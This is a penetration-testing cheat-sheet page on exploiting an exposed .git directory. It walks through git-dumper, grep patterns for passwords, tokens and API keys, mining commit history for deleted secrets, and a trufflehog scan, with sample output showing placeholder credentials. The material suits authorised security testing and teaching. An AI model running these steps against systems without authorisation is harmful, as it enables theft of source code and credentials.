Skip to content
HackIndex logo

HackIndex

Git Repository Exploitation

3 min read May 15, 2026

An exposed .git directory confirmed in vulnerability discovery allows reconstructing the full repository from the web server. This recovers complete application source code, all historical commits including deleted files, hardcoded credentials, and API keys that may no longer appear in the current codebase.

Dump the Repository with git-dumper

git-dumper reconstructs the full git repository from an exposed .git directory. It handles missing directory listings by inferring object hashes from the git pack index:

┌──(kali㉿kali)-[~]
└─$ pipx install git-dumper
┌──(kali㉿kali)-[~]
└─$ git-dumper http://$TARGET_IP:$PORT/.git /tmp/git_dump 
[+] Testing http://10.10.10.50/.git/HEAD [200]
[+] Fetching .git/
[+] Running git checkout .
Explain command
http://$TARGET_IP:$PORT/.git Target URL pointing to the exposed .git directory on the remote host.
/tmp/git_dump Local destination directory where the dumped git repo will be saved.
┌──(kali㉿kali)-[~]
└─$ ls -la /tmp/git_dump/ 
total 48
drwxr-xr-x config.php
drwxr-xr-x .env
drwxr-xr-x index.php
drwxr-xr-x .git/

Extract Credentials from Source

Search the dumped source for credentials, API keys, and connection strings:

┌──(kali㉿kali)-[~]
└─$ grep -rn --include='*.php' --include='*.env' --include='*.py' --include='*.js' --include='*.yml' -iE 'password|passwd|secret|api_key|apikey|token|db_pass|database_password' /tmp/git_dump/ 
/tmp/git_dump/.env:DB_PASSWORD=SuperSecret123!
/tmp/git_dump/config.php:$db_pass = 'admin123';
Explain command
-r Recursively search all files under each directory.
-n Prefix each output line with the file line number.
--include='*.php' Limit search to files matching the *.php glob pattern.
--include='*.env' Limit search to files matching the *.env glob pattern.
--include='*.py' Limit search to files matching the *.py glob pattern.
--include='*.js' Limit search to files matching the *.js glob pattern.
--include='*.yml' Limit search to files matching the *.yml glob pattern.
-i Perform case-insensitive pattern matching.
-E Interpret the pattern as an extended regular expression (ERE).
'password|passwd|secret|api_key|apikey|token|db_pass|database_password' ERE pattern matching common credential and secret key identifiers.
/tmp/git_dump/ Target directory to recursively search, typically a dumped git repo.
┌──(kali㉿kali)-[~]
└─$ cat /tmp/git_dump/.env

Mine Commit History for Deleted Secrets

Credentials removed from the current codebase often remain in commit history. Search all commits for sensitive patterns:

┌──(kali㉿kali)-[~]
└─$ cd /tmp/git_dump && git log --all --oneline 
a1b2c3d Fix security issue - removed hardcoded credentials
b4c5d6e Initial commit with working config
Explain command
/tmp/git_dump Target directory to change into before running git commands.
--all Show commits from all branches, tags, and refs.
--oneline Condense each commit to a single line with short hash and message.
┌──(kali㉿kali)-[~]
└─$ cd /tmp/git_dump && git show b4c5d6e:config.php | grep -iE 'password|secret|key' 
$db_password = 'OldPassword!2023';
Explain command
b4c5d6e:config.php Show contents of config.php at commit b4c5d6e.
-iE Case-insensitive search with extended regex pattern matching.
'password|secret|key' Regex pattern matching sensitive credential-related strings.
┌──(kali㉿kali)-[~]
└─$ cd /tmp/git_dump && git log -p --all | grep -iE '\+.*password|\+.*secret|\+.*api_key' | head -30
Explain command
/tmp/git_dump Target directory containing the cloned/dumped git repository.
-p Show patch diffs (changes) for each commit in the log.
--all Include all refs (branches, tags, remotes) in the log output.
-iE Case-insensitive search with extended regex pattern matching.
'\+.*password|\+.*secret|\+.*api_key' Regex matching added lines containing password, secret, or api_key.
head -30 Limit output to the first 30 matching lines.

trufflehog for Automated Secret Mining

trufflehog scans all commits for high-entropy strings and known secret patterns automatically:

┌──(kali㉿kali)-[~]
└─$ trufflehog filesystem /tmp/git_dump/ --json 2>/dev/null | python3 -m json.tool | grep -A5 'reason\|stringsFound'
Explain command
filesystem Scan a local filesystem path for secrets.
/tmp/git_dump/ Target directory path to scan for exposed secrets.
--json Output results in JSON format for machine parsing.
2>/dev/null Redirect stderr to null, suppressing error messages.
-m json.tool Python module to pretty-print JSON input.
-A5 Print 5 lines of trailing context after each match.
'reason\|stringsFound' Grep pattern matching reason or stringsFound fields in output.

References